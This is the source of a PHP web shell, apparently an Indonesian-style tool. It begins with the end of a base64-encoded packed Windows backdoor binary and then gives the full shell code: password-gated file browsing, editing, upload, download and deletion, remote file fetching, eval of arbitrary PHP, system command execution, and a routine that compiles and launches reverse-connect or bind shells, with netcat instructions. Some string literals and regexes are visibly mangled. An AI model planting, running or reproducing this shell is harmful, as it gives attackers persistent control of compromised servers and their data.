Ye67PUxpYrRyeScKLRYaZ9vDRQ4hEVDUOsI2rEDZAC7v5eD89ra5JSxrbHduPhtHZXRMYbELd2wy
QQJ2ZVCudXAT/61tZw9XlWQmh2Vzc2FnZUJvNb6wxHhBfXMlMzIuZCrPtaInN745SAMLVJhrxHI6
IAMAq6QeQF4pp7Zq9ftSU01TUwdlbZk0U1ffAKX5v3MgTWFuDucoQnZyAFwv2gOZZMq2ACABKCCZ
SB4ASAAQhEAmZAAQgQZkCGQBEIJkCGRAAhDuqsrcvwABB9sIdZAu2xhbBR/AZJBukAsdCwSWQAZp
Bo0IjmRABmSPkJEFZEAGkpOyLEQHCAfvCowkLwtvDKsABZMZ9zWgb6uIbD9cB03TNE0JMAoMEOB0
r2mWQhGwElcHExczTdNgGChYB033lk0ayEEbuwccaDRN0zR4WHlIetM0TdM4/DT/JKuInQRTAgTS
ReTZwb5ggnmCIRem3wehpbx5/v2Bn+D8L0B+gPyowaPao0HOHmGXgf4HQG6QIbC1L0G2X+cr5P/P
ouSiGgDlouiiW36h/lfy291RBQPaXtpfX9pq2jLT4GXn9tje4Pk5MX4A+AMyKCKwWdnVUVF8RyQw
/f8GoE1EQnl0ZVRvV2lkZUNoYXID8H+7FFVuBm5kbGVkRXhjZXAF+la5bUZpJmUZD0N1cnK2oFWt
v1UAcwJw2dYSI2kMQ1iTbIO1KA5BL1NEe+wLwGlytm9yeUFFU3lzJ7PWDmxtFFNvaxtq9hvAdGGP
cEluZm8s7rNXuZbNgG9tbZ7J2jD3TGluZR61v8q2JABjJUWTT3L7F1sAWXMWmkFkZHKtCUABGExh
PABHArpJVgVBbGANYGtMDUiBCj32NztSZQxDQUNQB01vZCycRbhyZUgqqFYjc2fBHjMtC09FTSd/
VIBlwt55cCUPV1RruyU8ajSVQ01vIxCwCTtBDVd1ZUMB2JBlTr84RnJmKWxl7RhFbu3s0Jpe20R2
Gm95ZhGGEDZXxeUbrAEUelvDZBIxey82DY3PTzZ7SZgEUIYYCc1QbnxSdGxgd2m8YfA0G7F0ypGJ
AENw2Iy4ZnNlYGJPsDPiFjtTQ2xBDyPYjFkiZAw5CFgymnGGIRrbBfZRDkPlbIYtxF4Cn3RjaFvp
ZzYLmKMO7B+GHMu2aballsz/AwI0FnfLsiwEAgENzlNBU9vmaAGIIQ4JAgj8lyctc4JQRUwBAwCJ
C5Q/jIj9h+AADwELAQb0J3Zy2R3UFQQQAEAAEA+2YRNiEgcXYOxsFkyiDBAHy73sDQYAaESDR0DW
DQii/B7WEBvBLhh0Oi6Q4LOQDTCY+mAuck2YdYaLJwlTA5pb7JRqQC4mJxwKUPKbkkFQwBO0RQAA
aMVvsyQAAAD/AAAAAAAAAAAAAABgvgBQQACNvgDA//9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D
7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0
icUB23UHix6D7vwR2xHJAdt1B4seg+78EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHb
c+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz/
//9eife5cAAAAIoHRyzoPAF394A/A3XyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWI2OLZjb4A
UAAAiwcJwHRFi18EjYQwAHAAAAHzUIPHCP+WUHAAAJWKB0cIwHTcifl5Bw+3B0dQR7lXSPKuVf+W
VHAAAAnAdAeJA4PDBOvY/5ZkcAAAi65YcAAAjb4A8P//uwAQAABQVGoEU1f/1Y2H5wEAAIAgf4Bg
KH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnbof//AAAAAAAAAAAAAAAAAAAAAAAAAHyAAABQgAAA
AAAAAAAAAAAAAAAAiYAAAGyAAAAAAAAAAAAAAAAAAACWgAAAdIAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAoIAAAK6AAAC+gAAAzoAAANyAAADqgAAAAAAAAPiAAAAAAAAAcwAAgAAAAABLRVJORUwzMi5E
TEwAQURWQVBJMzIuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MA
AFZpcnR1YWxQcm90ZWN0AABWaXJ0dWFsQWxsb2MAAFZpcnR1YWxGcmVlAAAARXhpdFByb2Nlc3MA
AABPcGVuU2VydmljZUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
$shell_style = "
<style type=\"text/css\">
*{
	font-family:Tahoma,Verdana,Arial;
	font-size:12px;
	line-height:20px;
}

form{
	margin:0 auto;
	text-align:center;
}

body{
	background:url('" . $_SERVER['SCRIPT_NAME'] . "?img=bg') #333333;
	color:#ffffff;
	margin:0;
	padding:0;
}

input,textarea{
	background:url('" . $_SERVER['SCRIPT_NAME'] . "?img=bg') #111111;
	height:24px;
	color:#ffffff;
	padding:1.5px 4px 0 4px;
	margin:2px 0;
	border:1px solid " . $shell_color . ";
	border-bottom:4px solid " . $shell_color . ";
	vertical-align:middle;
}

input:hover,textarea:hover{
	background:#0a0a0a;
}

a{
	color:#ffffff;
	text-decoration:none;
}

a:hover{
	border-bottom:1px solid #ffffff;
}

h1{
	font-size:17px;
	height:20px;
	padding:2px 8px;
	background:" . $shell_color . ";
	border:0;
	border-left:4px solid " . $shell_color . ";
	border-right:4px solid " . $shell_color . ";
	border-bottom:1px solid #222222;
	margin:0 auto;
	width:90%;
}

h1 img{
	vertical-align:bottom;
}

.box{
	margin:0 auto;
	background:#000000;
	border:4px solid " . $shell_color . ";
	padding:4px 8px;
	width:90%;
	text-align:justify;
}

.gaul{
	color:" . $shell_color . ";
}



.result, .boxcode{
	margin:0 auto;
	border:1px solid " . $shell_color . ";
	font-family:Lucida Console,Tahoma,Verdana;
	padding:8px;
	text-align:justify;
	overflow:hidden;
	color:#ffffff;
}


#explorer, table{
	width:100%;
}

table th{
	border-bottom:1px solid " . $shell_color . ";
	background:#111111;
	padding:4px;
}

table td{
	padding:4px;
	border-bottom:1px solid #111111;
	vertical-align:top;
}

.tblExplorer tr:hover, .hexview td:hover{
	background:" . $shell_color . ";
}


.hidden{
	display:none;
}
.tblbox td  {
	margin:0;
	padding:0;
	border-bottom:1px solid #222222;
}

.tblbox tr:hover{
	background:none;
}

#mainwrapper{
	width:100%;
	margin:20px auto;
	text-align:center;
}
#wrapper{
	width:90%;
	margin:auto;

}

.cmdbox{
	border-top:1px solid " . $shell_color . ";
	border-bottom:1px solid " . $shell_color . ";
	margin:4px 0;
	width:100%;
}

.fpath{
	border-top:1px solid " . $shell_color . ";
	border-bottom:1px solid " . $shell_color . ";
	margin:4px 0;
	padding:4px 0;
}

.fprop{
	border-top:1px solid " . $shell_color . ";
	border-bottom:1px solid " . $shell_color . ";
	margin:4px 0;
	padding:4px 0;
}


.bottomwrapper{
	text-align:center;
}

.btn{
	height:24px;
	background:url('" . $_SERVER['SCRIPT_NAME'] . "?img=bg') #111111;
	font-size:10px;
	text-align:right;
}

.hexview , .hexview td{
	font-family: Lucida Console,Tahoma;
}
</style>
";
//################# FUNCTION GOES HERE #######################==============================================]
function xclean($text) {
    if (get_magic_quotes_gpc()) {
        $text = stripslashes($text);
    }
    return $text;
}
function xcleanpath($path) {
    if (is_dir($path)) {
        $path = urldecode(trim(xclean($path)));
        $xSlash = DIRECTORY_SEPARATOR;
        while (substr($path, -1) == $xSlash) {
            $path = rtrim($path, $xSlash);
        }
        return $path . $xSlash;
    }
    return $path;
}
function xparsedir($dir) {
    $xSlash = DIRECTORY_SEPARATOR;
    $dirs = explode($xSlash, $dir);
    $buff = "";
    $dlink = "";
    $system = trim(php_uname());
    if (strtolower(substr($system, 0, 3)) != "win") {
        $dlink.= urlencode($xSlash);
        $buff.= "<a href=\"?dir=" . $dlink . "\">" . $xSlash . "</a> ";
    }
    foreach ($dirs as $d) {
        $d = trim($d);
        if ($d != "") {
            $dlink.= urlencode($d . $xSlash);
            $buff.= "<a href=\"?dir=" . $dlink . "\">" . $d . " " . $xSlash . "</a> ";
        }
    }
    return "<span class=\"gaul\">[ </span>" . $buff . "<span class=\"gaul\"> ]</span>";
}
function xfileopen($file) {
    $content = "";
    if (is_file($file) || is_link($file)) {
        if ($fp = fopen($file, "rb")) {
            while (!feof($fp)) {
                $content.= fread($fp, 1024);
            }
            fclose($fp);
        }
    }
    return $content;
}
function xfilesave($file, $content) {
    $dir = substr($file, 0, strrpos($file, DIRECTORY_SEPARATOR));
    if (!is_dir($dir)) mkdir($dir);
    if ($file != "") {
        $handle = fopen($file, "wb");
        if (fwrite($handle, $content) || ($content == "")) {
            fclose($handle);
            return true;
        }
        fclose($handle);
    }
    return false;
}
function xtempfolder() {
    if (!empty($_ENV['TMP'])) {
        return realpath($_ENV['TMP']);
    }
    if (!empty($_ENV['TMPDIR'])) {
        return realpath($_ENV['TMPDIR']);
    }
    if (!empty($_ENV['TEMP'])) {
        return realpath($_ENV['TEMP']);
    }
    $tempfile = tempnam(__FILE__, '');
    if (file_exists($tempfile)) {
        unlink($tempfile);
        return realpath(dirname($tempfile));
    }
    return null;
}
function xrmdir($dir) {
    $files = glob($dir . '*', GLOB_MARK);
    foreach ($files as $f) {
        if (is_dir($f)) xrmdir($f);
        else unlink($f);
    }
    if (is_dir($dir)) rmdir($dir);
}
function xhighlight($file) {
    $color_bg = ini_get('highlight.bg');
    $color_html = ini_get('highlight.html');
    $color_keyword = ini_get('highlight.keyword');
    $color_default = ini_get('highlight.default');
    $color_comment = ini_get('highlight.comment');
    $color_string = ini_get('highlight.string');
    $con = @highlight_file($file, true);
    $con = str_ireplace($color_keyword, "#FF0082", $con);
    $con = str_ireplace($color_default, "#F00000", $con);
    $con = str_ireplace($color_string, "#888888", $con);
    $con = str_ireplace($color_html, "#EEEEEE", $con);
    return $con;
}
function xfilesummary($file) {
    $buff = "";
    if (is_file($file) || is_link($file)) {
        $buff = "Filesize : " . xparsefilesize(xfilesize($file)) . " ( " . xfilesize($file) . " ) <span class=\"gaul\"> :: </span>Permission : " . xfileperms($file) . " ( " . xfileowner($file) . " )<span class=\"gaul\"> :: </span>modified : " . xfilelastmodified($file);
    }
    return $buff;
}
function xparsefilesize($size) {
    if ($size <= 1024) return $size;
    else {
        if ($size <= 1024 * 1024) {
            $size = sprintf("%.02f", @round($size / 1024, 2));
            return $size . " kb";
        } else {
            $size = sprintf("%.02f", @round($size / 1024 / 1024, 2));
            return $size . " mb";
        }
    }
}
function xfilesize($file) {
    if (is_file($file) || is_link($file)) {
        if ($size = filesize($file)) {
            return $size;
        }
    }
    return "0";
}
function xfileperms($file) {
    $isreadable = "-";
    $iswriteable = "-";
    if (is_file($file) || is_dir($file) || is_link($file)) {
        if (is_readable($file)) $isreadable = "r";
        if (is_writeable($file)) $iswriteable = "w";
    }
    return $isreadable . " / " . $iswriteable;
}
function xfileowner($file) {
    if (is_file($file) || is_dir($file) || is_link($file)) {
        $fowner = fileowner($file);
        $fgroup = filegroup($file);
        if (function_exists('posix_getpwuid') && (function_exists('posix_getgrgid'))) {
            $name = posix_getpwuid($fowner);
            $group = posix_getgrgid($fgroup);
            return trim($name['name'] . ":" . $group['name']);
        } else {
            return "???";
        }
    }
    return "???";
}
function xdrive() {
    $letters = "";
    foreach (range("A", "Z") as $letter) {
        $bool = @is_dir($letter . ":\");
		if($bool){
			$letters .= " < ahref = \"?dir=" . $letter . ":\"><span class=\"gaul\">[ </span>";
        $letters.= $letter;
        $letters.= "<span class=\"gaul\"> ]</span</a> ";
    }
}
if ($letters != "") $letters.= "<br />";
return $letters;
}
function xfilelastmodified($file) {
    if (is_file($file) || is_dir($file) || is_link($file)) {
        $lastm = date("d-M-Y H:i", filemtime($file));
        return $lastm;
    }
    return "???";
}
function xrunexploit($fpath, $base64, $port, $type) {
    $con = base64_decode($base64);
    $system = trim(php_uname());
    $final = "";
    if (preg_match("/win/i", $system)) {
        $fname = "bd.exe";
        $ip = "";
        $ok = false;
        $fpath = $fpath . $fname;
        if (is_file($fpath)) unlink($fpath);
        if (!xfilesave($fpath, $con)) {
            $tmp = xcleanpath(xtempfolder());
            $fpath = $tmp . $fname;
            if (xfilesave($fpath, $con)) $ok = true;
        } else $ok = true;
        if ($ok) {
            $fpath = trim($fpath);
            if ($type == 'connect') $ip = $_SERVER['REMOTE_ADDR'];
            $final.= $fpath . " " . $port . " " . $ip;
            ekse(trim($final));
            return true;
        }
    } else {
        if ($type == 'connect') $fname = "back";
        else $fname = "bind";
        $ip = "";
        $ok = false;
        $fpath = $fpath . $fname;
        if (is_file($fpath . ".c")) unlink($fpath . ".c");
        if (!xfilesave($fpath . ".c", $con)) {
            $tmp = xcleanpath(xtempfolder());
            $fpath = $tmp . $fname;
            if (xfilesave($fpath . ".c", $con)) $ok = true;
        } else $ok = true;
        if ($ok) {
            $fpath = trim($fpath);
            if ($type == 'connect') $ip = $_SERVER['REMOTE_ADDR'];
            ekse("gcc " . $fpath . ".c -o " . $fpath);
            ekse("chmod +x " . $fpath);
            if (is_file($fpath)) {
                $final.= $fpath . " " . $port . " " . $ip;
                ekse(trim($final));
                return true;
            } else return false;
        }
    }
    return false;
}
function xeval($code) {
    $code = xclean($code);
    @ob_start();
    @eval($code);
    $buff = @ob_get_contents();
    @ob_end_clean();
    return $buff;
}
function ekse($cmd) {
    if (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('exec')) {
        @exec($cmd, $results);
        $buff = "";
        foreach ($results as $result) {
            $buff.= $result;
        }
        return $buff;
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('shell_exec')) {
        $buff = @shell_exec($cmd);
        return $buff;
    }
}
function xdir($path) {
    $path = trim($path);
    $path = xcleanpath($path);
    if (is_dir($path)) {
        $fname = array();
        $dname = array();
        if ($dh = @scandir($path)) {
            foreach ($dh as $file) {
                if (is_dir($file)) {
                    $dname[] = $file;
                } else {
                    $fname[] = $file;
                }
            }
        } else {
            if ($dh = @opendir($path)) {
                while ($file = @readdir($dh)) {
                    if (@is_dir($file)) {
                        $dname[] = $file;
                    } else {
                        $fname[] = $file;
                    }
                }
                @closedir($dh);
            }
        }
        natcasesort($fname);
        natcasesort($dname);
        $buff = "<div id=\"explorer\"><table class=\"tblExplorer\">
		<tr><th>Filename</th>
		<th style=\"width:80px;\">Filesize</th>
		<th style=\"width:80px;\">Permission</th>
		<th style=\"width:150px;\">Last Modified</th>
		<th style=\"width:180px;\">Action</th></tr>";
        foreach ($dname as $d) {
            $sd = $d;
            if ($d == "..") {
                $nextdir = ".." . DIRECTORY_SEPARATOR . "..";
                $d = xcleanpath(realpath($sd));
            } elseif ($d == ".") {
                $nextdir = "..";
                $d = xcleanpath(realpath($sd));
            } else {
                $nextdir = ".";
                $d = xcleanpath(realpath("." . DIRECTORY_SEPARATOR . $sd));
            }
            $dir = $d;
            $nextdir = xcleanpath(realpath($nextdir));
            $buff.= "<tr onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location= '?dir=" . urlencode($d) . "';\">
			<td><span style=\"font-weight:bold;\"><a href=\"?dir=" . $dir . "\">[</span> " . $sd . " <span style=\"font-weight:bold;\">]</span></a></td>";
            $buff.= "<td>DIR</td>";
            $buff.= "<td style=\"text-align:center;\">" . xfileperms($d) . "</td>";
            $buff.= "<td style=\"text-align:center;\">" . xfilelastmodified($d) . "</td>";
            $buff.= "<td style=\"text-align:center;\"><a href=\"?dir=" . $dir . "&properties=" . xcleanpath(realpath($d)) . "\">Properties</a> | <a href=\"?dir=" . $nextdir . "&del=" . xcleanpath(realpath($d)) . "\">Remove</a></td>";
            $buff.= "</tr>";
        }
        foreach ($fname as $f) {
            $sf = $f;
            $f = $path . $f;
            $view = "?dir=" . urlencode($path) . "&view=" . urlencode($f);
            $buff.= "<tr onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location='?dir=" . urlencode(xcleanpath($path)) . "&properties=" . urlencode($f) . "';\"><td>
			<a href=\"?dir=" . urlencode(xcleanpath($path)) . "&properties=" . urlencode($f) . "\">
			" . $sf . "</a></td>";
            $buff.= "<td>" . xparsefilesize(xfilesize($f)) . "</td>";
            $buff.= "<td style=\"text-align:center;\">" . xfileperms($f) . "</td>";
            $buff.= "<td style=\"text-align:center;\">" . xfilelastmodified($f) . "</td>";
            $buff.= "<td style=\"text-align:center;\"><a href=\"" . $view . "\">Edit</a> | <a href=\"?get=" . $f . "\">Download</a> | <a href=\"?dir=" . xcleanpath($path) . "&del=" . $f . "\">Remove</a></td>";
            $buff.= "</tr>";
        }
        $buff.= "</table></div>";
        return $buff;
    }
}
//################# INIT GOES HERE #######################==================================================]
error_reporting(0);
@set_time_limit(0);
ini_set("allow_url_fopen", 1);
ini_set("allow_url_include", 1);
ini_set("open_basedir", NULL);
if (isset($_POST['passw'])) {
    $check = trim($_POST['passw']);
    if ($check == $shell_password) {
        setcookie("pass", $check, time() + 3600 * 24 * 7);
        $m = $_SERVER['SCRIPT_NAME'];
        header("Location: " . $m);
        die();
    } else setcookie("pass", $check, time() - 3600 * 24 * 7);
}
if (isset($_COOKIE['pass'])) $check = trim($_COOKIE['pass']);
else $check = "";
if ($check == $shell_password) {
    $auth = true;
} else $auth = false;
if (isset($_GET['img'])) {
    $file = xclean($_GET['img']);
    if (is_file($file)) {
        @ob_clean();
        $inf = getimagesize($file);
        $ext = explode(basename($file), ".");
        $ext = $ext[count($ext) - 1];
        @header("Content-type: " . $inf["mime"]);
        @header("Cache-control: public");
        @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
        @header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
        @readfile($file);
        exit;
    } else {
        $file = $$file;
        $data = base64_decode($file);
        @header("Content-type: image/png");
        @header("Cache-control: public");
        echo $data;
        exit;
    }
}
if (isset($_GET['get']) && ($_GET['get'] != "")) {
    $file = xclean($_GET['get']);
    $filez = @file_get_contents($file);
    header("Content-type: application/octet-stream");
    header("Content-length: " . strlen($filez));
    header("Content-disposition: attachment; filename=\"" . basename($file) . "\";");
    echo $filez;
    exit;
}
$xCwd = xcleanpath(getcwd());
if (isset($_GET['btnConnect']) && (is_numeric($_GET['bportC']))) {
    $port = $_GET['bportC'];
    $dir = xcleanpath(xclean(trim($_GET['dir'])));
    $system = trim(php_uname());
    if (strtolower(substr($system, 0, 3)) == "win") $base64 = $wBind;
    else $base64 = $xBack;
    if (xrunexploit($dir, $base64, $port, "connect")) {
    }
} elseif (isset($_GET['btnListen']) && (is_numeric($_GET['lportC']))) {
    $port = $_GET['lportC'];
    $dir = xcleanpath(xclean(trim($_GET['dir'])));
    $system = trim(php_uname());
    if (strtolower(substr($system, 0, 3)) == "win") $base64 = $wBind;
    else $base64 = $xBind;
    if (xrunexploit($dir, $base64, $port, "listen")) {
    }
}
if (isset($_GET['dir']) && ($_GET['dir'] != "")) {
    $newdir = xcleanpath(xclean(trim($_GET['dir'])));
    if (isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")) {
        $newdir = xcleanpath(xclean(trim($_GET['properties'])));
    }
    if (is_dir($newdir)) {
        if (chdir($newdir)) $xCwd = $newdir;
    } else {
        $newdir = dirname($newdir);
        if (is_dir($newdir)) if (chdir($newdir)) $xCwd = $newdir;
    }
    if (isset($_POST['btnNewUploadUrl'])) {
        $filename = xclean(trim($_POST['filename']));
        $fileurl = xclean(trim($_POST['fileurl']));
        if ($filename == "") $filename = basename($fileurl);
        $filepath = $newdir . $filename;
        if ($fileurl != "") {
            $con = xfileopen($fileurl);
            xfilesave($filepath, $con);
        }
    } elseif (isset($_POST['btnNewUploadLocal'])) {
        if (is_uploaded_file($_FILES['filelocal']['tmp_name'])) {
            $filename = xclean(trim($_POST['filename']));
            if ($filename == "") $filename = $_FILES['filelocal']['name'];
            $tmp_name = $_FILES['filelocal']['tmp_name'];
            $filepath = $newdir . $filename;
            $stat = @move_uploaded_file($tmp_name, $filepath);
        }
    }
    if (isset($_GET['foldername']) && ($_GET['foldername'] != "")) {
        $fname = xcleanpath(xclean(trim($_GET['foldername'])));
        if (!is_dir($newdir . $fname)) mkdir($newdir . $fname);
    } elseif (isset($_GET['del']) && ($_GET['del'] != "")) {
        $fdel = xclean(trim($_GET['del']));
        if (is_file($fdel) || is_link($fdel)) unlink($fdel);
        elseif (is_dir($fdel)) {
            xrmdir($fdel);
            $newdir = substr($newdir, 0, strrpos($newdir, DIRECTORY_SEPARATOR));
            $newdir = substr($newdir, 0, strrpos($newdir, DIRECTORY_SEPARATOR));
        }
    } elseif (isset($_GET['childname']) && ($_GET['childname'] != "")) {
        $childname = $newdir . xclean(trim($_GET['childname']));
        $con = xfileopen($_SERVER['SCRIPT_FILENAME']);
        xfilesave($childname, $con);
    }
}
if (isset($_GET['cmd']) && ($_GET['cmd'] != "")) {
    $cmd = xclean($_GET['cmd']);
    if (preg_match("/^cd(.*)/i", $cmd, $c)) {
        $newdir = trim($c[1]);
        $newdir = trim(urldecode(xclean($newdir)));
        if ($newdir == "\")	$xCwd = substr($xCwd,0,3);
		else{
			if(strpos($newdir,":
            ") > 0){
				if(is_dir($newdir))	$xCwd = xcleanpath(realpath($newdir));
			}
			elseif(is_dir($newdir)){
				$xCwd = xcleanpath(realpath($newdir));
			}
			else{
				if(is_dir($xCwd.$newdir)) $xCwd = xcleanpath(realpath($xCwd.$newdir));
			}
		}
		$result = xdir($xCwd);
	}
	elseif(preg_match(" / ^(\w {
                1
            }: . *) / ",$cmd,$dc)){
		$newdir = trim($dc[1]);
		if(is_dir($newdir)){
			$xCwd = xcleanpath($newdir);
		}
		$result = xdir($xCwd);
	}
	else {
		$result = ekse($cmd);
		if($result != "") $result = nl2br(str_replace(""," & nbsp;
                ",htmlentities($result)));
		else {
			$result = xdir($xCwd);
		}
	}

}
elseif(isset($_GET['eval']) && ($_GET['eval'] != "")){
	$result = htmlspecialchars(xeval($_GET['eval']));
}
elseif(isset($_GET['properties']) && ($_GET['properties'] != "")){
	$fname = xcleanpath(xclean($_GET['properties']));
	if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){
		$oldname = xclean($_GET['oldfilename']);
		rename($oldname,$fname);
	}
	$dir = xclean($_GET['dir']);
	$fcont = "";
	$fview = "";
	if(is_dir($fname)){
		$fsize = "DIR";
		$fcont = xdir($fname);
		$faction = " < ahref = \"?dir=" . xcleanpath(realpath($fname)) . "&properties=" . xcleanpath(realpath($fname)) . "\">Properties</a> | <a href=\"?dir=" . xcleanpath(realpath($fname . "..")) . "&del=" . xcleanpath(realpath($fname)) . "\">Remove</a>";
            } else {
                $fname = rtrim($fname, DIRECTORY_SEPARATOR);
                $fsize = xparsefilesize(xfilesize($fname)) . " <span class=\"gaul\">( </span>" . xfilesize($fname) . " bytes<span class=\"gaul\"> )</span>";
                $type = "";
                if (isset($_GET['type'])) $type = trim(xclean($_GET['type']));
                $iinfo = getimagesize($fname);
                $imginfo = "";
                if ($type == "") {
                    if (is_array($iinfo)) $type = 'img';
                    else $type = 'text';
                }
                if ($type == 'code') {
                    if ($code = xhighlight($fname)) $fcont = "<div class=\"boxcode\">" . $code . "</div>";
                } elseif ($type == 'img') {
                    $width = (int)$iinfo[0];
                    $height = (int)$iinfo[1];
                    $imginfo = "Image type = ( " . $iinfo['mime'] . " )<br />Image Size = <span class=\"gaul\">( </span>" . $width . " x " . $height . "<span class=\"gaul\"> )</span><br />";
                    if ($width > 800) {
                        $width = 800;
                        $imglink = "<p><a href=\"?img=" . $fname . "\" target=\"_blank\"><span class=\"gaul\">[ </span>view full size<span class=\"gaul\"> ]</span></a></p>";
                    } else $imglink = "";
                    $fcont = "<div style=\"text-align:center;width:100%;\">" . $imglink . "<img width=\"" . $width . "\" src=\"?img=" . $fname . "\" alt=\"\" style=\"margin:8px auto;padding:0;border:0;\" /></div>";
                } else {
                    $code = htmlspecialchars(file_get_contents($fname));
                    $fcont = "<div class=\"boxcode\">" . nl2br($code) . "</div>";
                }
                $faction = "<a href=\"?dir=" . xcleanpath($dir) . "&view=" . $fname . "\">Edit</a> | <a href=\"?get=" . $fname . "\">Download</a> | <a href=\"?dir=" . xcleanpath($dir) . "&del=" . $fname . "\">Remove</a>";
                $fview = "<a href=\"?dir=" . xcleanpath($dir) . "&properties=" . $fname . "&type=text\"><span class=\"gaul\">[ </span>text<span class=\"gaul\"> ]</span></a><a href=\"?dir=" . xcleanpath($dir) . "&properties=" . $fname . "&type=code\"><span class=\"gaul\">[ </span>code<span class=\"gaul\"> ]</span></a><a href=\"?dir=" . xcleanpath($dir) . "&properties=" . $fname . "&type=img\"><span class=\"gaul\">[ </span>image<span class=\"gaul\"> ]</span></a>";
            }
            $fowner = xfileowner($fname);
            $fperm = xfileperms($fname);
            $result = "<div style=\"display:inline;\">
	<form action=\"?\" method=\"get\" style=\"margin:0;padding:1px 8px;text-align:left;\">
	<input type=\"hidden\" name=\"dir\" value=\"" . $dir . "\" />
	<input type=\"hidden\" name=\"oldfilename\" value=\"" . $fname . "\" />" . $faction . " |
	<span><input style=\"width:50%;\" type=\"text\" name=\"properties\" value=\"" . $fname . "\" />
	<input style=\"width:120px\" class=\"btn\" type=\"submit\" name=\"btnRename\" value=\"Rename\" />
	</span>
	<div class=\"fprop\">
	Size = " . $fsize . "<br />" . $imginfo . "
	Owner = <span class=\"gaul\">( </span>" . $fowner . "<span class=\"gaul\"> )</span><br />
	Permission = <span class=\"gaul\">( </span>" . $fperm . "<span class=\"gaul\"> )</span><br />
	Create Time = <span class=\"gaul\">( </span>" . date("d-M-Y H:i", @filectime($fname)) . "<span class=\"gaul\"> )</span><br />
	Last Modified = <span class=\"gaul\">( </span>" . date("d-M-Y H:i", @filemtime($fname)) . "<span class=\"gaul\"> )</span><br />
	Last Accessed = <span class=\"gaul\">( </span>" . date("d-M-Y H:i", @fileatime($fname)) . "<span class=\"gaul\"> )</span><br />
	" . $fview . "
	</div>
	" . $fcont . "
	</form>
	</div>
	";
        } elseif ((isset($_GET['view']) && ($_GET['view'] != "")) || ((isset($_GET['filename']) && ($_GET['filename'] != "")))) {
            $msg = "";
            if (isset($_POST['save']) && ($_POST['save'] == "Save As")) {
                $file = xclean(trim($_POST['saveAs']));
                $content = xclean($_POST['filesource']);
                if (xfilesave($file, $content)) $pesan = "File Saved";
                else $pesan = "Failed to save file";
                $msg = "<span style=\"float:right;\"><span class=\"gaul\">[ </span>" . $pesan . "<span class=\"gaul\"> ]</span></span>";
            } else {
                if (isset($_GET['view']) && ($_GET['view'] != "")) $file = xclean(trim($_GET['view']));
                else $file = $xCwd . xclean(trim($_GET['filename']));
            }
            $result = xfileopen($file);
            $result = htmlentities($result);
            $result = "
	<p style=\"padding:0;margin:0;text-align:left;\"><a href=\"?dir=" . $xCwd . "&properties=" . $file . "\">" . xfilesummary($file) . "</a>" . $msg . "</p><div style=\"clear:both;margin:0;padding:0;\"></div>
	<form action=\"?dir=" . $xCwd . "&view=" . $file . "\" method=\"post\">
<textarea name=\"filesource\" style=\"width:100%;height:200px;\">" . $result . "</textarea>
	<input type=\"text\" style=\"width:80%;\"  name=\"saveAs\" value=\"" . $file . "\" />
	<input type=\"submit\" class=\"btn\" style=\"width:120px;\" name=\"save\" value=\"Save As\" />
	</form>
	";
        } else {
            $result = xdir($xCwd);
        }
        //################# Finalizing #######################======================================================]
        if ($auth) {
            if (isset($_GET['bportC'])) $bportC = $_GET['bportC'];
            else $bportC = $shell_fav_port;
            if (isset($_GET['lportC'])) $lportC = $_GET['lportC'];
            else $lportC = $shell_fav_port;
            $html_title = $shell_title . " " . $xCwd;
            $html_head = "
<title>" . $html_title . "</title>
<link rel=\"SHORTCUT ICON\" href=\"" . $_SERVER['SCRIPT_NAME'] . "?img=icon\" />
" . $shell_style . "
<script type=\"text/javascript\">
function updateInfo(boxid,typ){
	if(typ == 0){
		var pola = 'example: (using netcat) run "nc -l -p __PORT__" and then press Connect';
	}
	else{
		var pola = 'example: (using netcat) press "Listen" and then run "nc " . $xServerIP . " __PORT__"';
	}

	var portnum = document.getElementById(boxid).value;

	var hasil = pola.replace('__PORT__', portnum);
	document.getElementById(boxid+'_').innerHTML = hasil;
}
function show(boxid){
	var box = document.getElementById(boxid);
	if(box.style.display != 'inline'){
		document.getElementById('newfile').style.display = 'none';
		document.getElementById('newfolder').style.display = 'none';
		document.getElementById('newupload').style.display = 'none';
		document.getElementById('newchild').style.display = 'none';
		document.getElementById('newconnect').style.display = 'none';
		document.getElementById('div_eval').style.display = 'none';

		box.style.display = 'inline';
		box.focus();
	}
	else box.style.display = 'none';
}
function highlighthexdump(address){
	var target = document.getElementById(address);
	target.style.background = '" . $shell_color . "';
}
function unhighlighthexdump(address){
	var target = document.getElementById(address);
	target.style.background = 'none';
}
</script>
";
            $html_body = "
<div id=\"wrapper\">
